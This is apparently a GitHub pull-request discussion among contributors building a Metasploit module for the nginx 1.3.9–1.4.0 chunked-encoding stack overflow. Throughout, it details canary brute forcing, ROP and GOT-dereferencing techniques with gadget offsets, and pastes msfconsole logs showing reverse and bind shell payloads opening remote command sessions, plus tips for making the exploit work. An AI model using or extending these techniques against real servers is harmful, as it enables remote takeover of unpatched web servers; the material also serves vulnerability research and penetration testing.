This is an exploit module for the chunked encoding stack buffer overflow vulnerability in nginx 1.3.9 and 1.4.0. It also includes a ropdb xml file for the exploit with targets for Kali 1.0 (my dev environment) and RHEL 6.4 using the installed libc for both targets.
Adding exploit module and rop chain xml file for nginx chunk exploit
Realized this doesnt need to be sent twice
I was playing around with that vuln, too. On my Systems (Ubuntu 13.04 and Debian 7) I also need to bypass stack protection (I compiled from source, but all packages I got from repos had stack protection enabled as well), your exploit doesn't seem to do this yet. Also versions 1.3.10-16 are vulnerable, too. Maybe we could work on this together, add more targets and see if we can bypass stack protection?
I'd definitely be willing to give it a go. I actually started looking at Ubuntu 12.04 LTS after sending this request and noticed the same thing. I'll try to take more of a look at it this weekend unless someone has already found a solution.
Merge pull request #1 from saelo/master
Removing StackCanary options until we have it working and cleaning up…
… based on msftidy warnings
Adding Ubuntu 13.04 target and the ability to quickly bruteforce the …
…stack canary value on targets with stack canaries
Running against a fully updated Ubuntu 13.04 against 1.4.0 compiled from source:
 Searching for stack canary
 Bruteforcing byte 1
[*] Byte 1 found: 0x79
 Bruteforcing byte 2
 Byte 2 found: 0x27
 Bruteforcing byte 3
 Byte 3 found: 0xde
[*] Canary found: 0xde277900
 Sending 2048 byte payload at base 0xb7470000
 Sending 2048 byte payload at base 0xb7471000
 Sending 2048 byte payload at base 0xb7472000
 Sending 2048 byte payload at base 0xb7473000
 Sending 2048 byte payload at base 0xb7474000
 Sending 2048 byte payload at base 0xb7475000
 Sending 2048 byte payload at base 0xb7476000
 Sending 2048 byte payload at base 0xb7477000
 Sending 2048 byte payload at base 0xb7478000
 Sending 2048 byte payload at base 0xb7479000
 Sending 2048 byte payload at base 0xb747a000
 Sending 2048 byte payload at base 0xb747b000
 Sending 2048 byte payload at base 0xb747c000
 Sending 2048 byte payload at base 0xb747d000
 Sending 2048 byte payload at base 0xb747e000
 Sending 2048 byte payload at base 0xb747f000
 Sending 2048 byte payload at base 0xb7480000
 Sending 2048 byte payload at base 0xb7481000
 Sending 2048 byte payload at base 0xb7482000
 Sending 2048 byte payload at base 0xb7483000
 Sending 2048 byte payload at base 0xb7484000
 Sending 2048 byte payload at base 0xb7485000
 Sending 2048 byte payload at base 0xb7486000
 Sending 2048 byte payload at base 0xb7487000
 Sending 2048 byte payload at base 0xb7488000
 Sending 2048 byte payload at base 0xb7489000
 Sending 2048 byte payload at base 0xb748a000
 Sending 2048 byte payload at base 0xb748b000
 Sending 2048 byte payload at base 0xb748c000
 Sending 2048 byte payload at base 0xb748d000
 Sending 2048 byte payload at base 0xb748e000
 Sending 2048 byte payload at base 0xb748f000
 Sending 2048 byte payload at base 0xb7490000
 Sending 2048 byte payload at base 0xb7491000
 Sending 2048 byte payload at base 0xb7492000
 Sending 2048 byte payload at base 0xb7493000
 Sending 2048 byte payload at base 0xb7494000
 Sending 2048 byte payload at base 0xb7495000
 Sending stage (36 bytes) to 192.168.1.19
 Command shell session 11 opened (192.168.1.114:5353 -> 192.168.1.19:42020) at 2013-05-16 23:20:08 -0400
PID TTY TIME CMD
12769 ? 00:00:00 sh
12770 ? 00:00:00 ps
Screwed up the offset for the Kali test box last night
Normally I do, but currently that causes it to fail. I figured I would get it up here and then deal with that later. As far as detection, most devices are going to alert on the screwed up chunk size.
Added options to set the canary and libc base
Merge pull request #2 from saelo/master
Added Options for libc base and canary
Fixing offsets up based on RHOST length and cleaning up indentation
I think I fixed the random buffer issue
Really fixed it this time
Fixed stability issues related to UA and Host fields by sending the r…
…equest by hand and updated all offsets for targets
Adding options for RPORT since we are no longer using the http client…
… libraries and fixing version check
Added new target: Debian Squeeze
Merge pull request #3 from saelo/master
New target: Debian Squeeze
Hi @saelo and @linuxgeek247 . It s an awesome contribution! Thank you very much! I couldn't resist to join this collaboration effort if you don't mind :$
Tried a GOT dereferencing attack in order to avoid the libc brute forcing attack. Since nginx compiles with NO PIE by default looks like a good approach in order to avoid the brute force attack.
I've implemented it for nginx 1.4.0 compiled (default options) on Debian Squeeze. It's available on this branch so you can give it a look and share your opinion:
The commit for my mod module is also here:
The module working:
msf exploit(nginx_chunked_size_no_brute) > set PAYLOAD cmd/unix/reverse
PAYLOAD => cmd/unix/reverse
msf exploit(nginx_chunked_size_no_brute) > set LHOST 192.168.172.1
LHOST => 192.168.172.1
msf exploit(nginx_chunked_size_no_brute) > rexploit
[*] Reloading module...
[-] Exploit failed: No NOP generators succeeded.
msf exploit(nginx_chunked_size_no_brute) > rexploit
[*] Reloading module...
[*] 192.168.172.200:80 - Sending 523 byte payload
[*] Started reverse double handler
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo 1tNBEwk5zjp3wvoy;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "1tNBEwk5zjp3wvoy\r\n"
[*] A is input...
[*] Command shell session 1 opened (192.168.172.1:4444 -> 192.168.172.200:53788) at 2013-05-21 20:14:44 -0500
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
What do you think? I must to admit in my opinion the exploit is more reliable using the GOT dereference over the brute force attack. So if you agree we could migrate the current module to use this technique. Or maybe mix targets and allow both GOT dereferencing and brute force attack :)
Again, thanks very much for the effort! It's kinda awesome.
It's definitely much faster. I never actually thought to do that but it makes sense. The only thing I'm fuzzy on is the purpose of using the offset between localtime_r to system. What's the purpose of that versus just using the system got address? Thanks very much. This should simplify things greatly.
Scratch that. I see what you are doing. I just couldn't figure out what the point of the 0x5d5b14c4 was for.
@linuxgeek247 there isn't system in the nginx GOT, because of that we're using the localtime_r one and calculating the system address having into account the libc offset.
The 0x5d5b14c4 offset is because of the "add eax, [ebx+0x5d5b14c4] # ret" gadget. This gadget allows to get on eax the system address if you previously have the localtime_r address (you can get it from the nginx got) and the offset (it's libc specific, so target specific, not a big deal because the curent exploit is also target specific when leaking the libc address) :)
I'm going to work on this today, would like to merge both approaches, brute forcing targets and got dereferencing targets, and land one first version into the framework! :)
Seriously, kinda awesome work guys! :)
I'm actually migrating your got approach for Ubuntu right now. The only difference is the canary bruteforce. Just finishing up the store function now. Would it be better to create rop xml files for this or just store them in the target hash since they are so much smaller?
Hi @linuxgeek247 I think storing them in the target hash would be better in this case :) Oka, I wait to your new version and then will work on cleaning it if necessary before merging! thanks @linuxgeek247 !!! Kinda hard work! Just ping me if you need help while coding it. Also, I'm available at freenode, metasploit channel, in case you would like to discuss any detail!
Or better, ad a function for generating the rop for every target, and in the target hash meta information, just keep a callback to the correct function to call when generating the rop :). Since ROP chains for these approachs are smaller I feel comfortable adding them in the code.
I've got everything updated now. I've removed RHEL and Cali for now. I'm going to close this pull request and open a clean request.
Sounds good, can't wait to look into it and hopefully merge :)
I believe there is an execve in nginx, can't you use it directly instead of a calculated system ?
Not directly I guess but opens the door to a possible ROP shellcode :)
i compile nginx 1.4.0 on kaili 1.0 and ubuntu 12.04,then i test this exp,but it does not work. who guys can tell how to make a vulnerable evironment? my email:firstname.lastname@example.org . think you very much.
currently available targets are debian squeeze and ubuntu 13.04 (both 32bit), can you try one of those and see if it works for you?
@saelo i test ubuntu 13.04 today,but i failt to exploit by use nginx 1.4.0.is there some other config needed to do during compile nginx?
@niubl Ok, interesting. You compiled the version from their mercurial repository? The ROP gadgets in the current exploit didn't work for me either (apparently for the others though), can you check if my version works for you? You can find it here: saelo/metasploit-framework@b060612
Just download the new file and replace it in your copy of msf. If that still does not work you can send me a copy of your nginx executable (objs/nginx) so I can take a look at it.
@saelo this my steps:
msf exploit(nginx_chunked_size) > set payload generic/shell_bind_tcp
payload => generic/shell_bind_tcp
msf exploit(nginx_chunked_size) > show options
Module options (exploit/linux/http/nginx_chunked_size):
Name Current Setting Required Description
RHOST 10.1.11.3 yes The target address
RPORT 80 yes The remote HTTP server port
Payload options (generic/shell_bind_tcp):
LPORT 9999 yes The listen port
RHOST 10.1.11.3 no The target address
0 Ubuntu 13.04 32bit - nginx 1.4.0
msf exploit(nginx_chunked_size) > exploit
 Started bind handler
 10.1.11.3:80 - Searching for stack canary
 10.1.11.3:80 - Assuming byte 0 0x00
 10.1.11.3:80 - Bruteforcing byte 1
[+] 10.1.11.3:80 - Byte 1 found: 0x3c
 10.1.11.3:80 - Bruteforcing byte 2
[+] 10.1.11.3:80 - Byte 2 found: 0x3a
 10.1.11.3:80 - Bruteforcing byte 3
[+] 10.1.11.3:80 - Byte 3 found: 0xb5
[+] 10.1.11.3:80 - Canary found: 0xb53a3c00
msf exploit(nginx_chunked_size) > sessions
No active sessions.
can you give you email? i will send you my nginx source whick i tested.
You can find me in the metasploit IRC channel (with this nick), lets talk there :)
I'm getting the sames problems as niubl, downloaded and installed version 1.4.0, tryed to exploit but failt with official module and saelo one (working on ubuntu 13.04 32bit). Any compiler options needed?
@inode- can you meet me in IRC, too? No special compiler options should be needed.
@saelo I'm in, nickname odfijoisjsodifjs
If you are having trouble getting the exploit to work please make sure you compile with support for pcre and zlib by installing libpcre++-dev and zlib1g-dev in ubuntu :)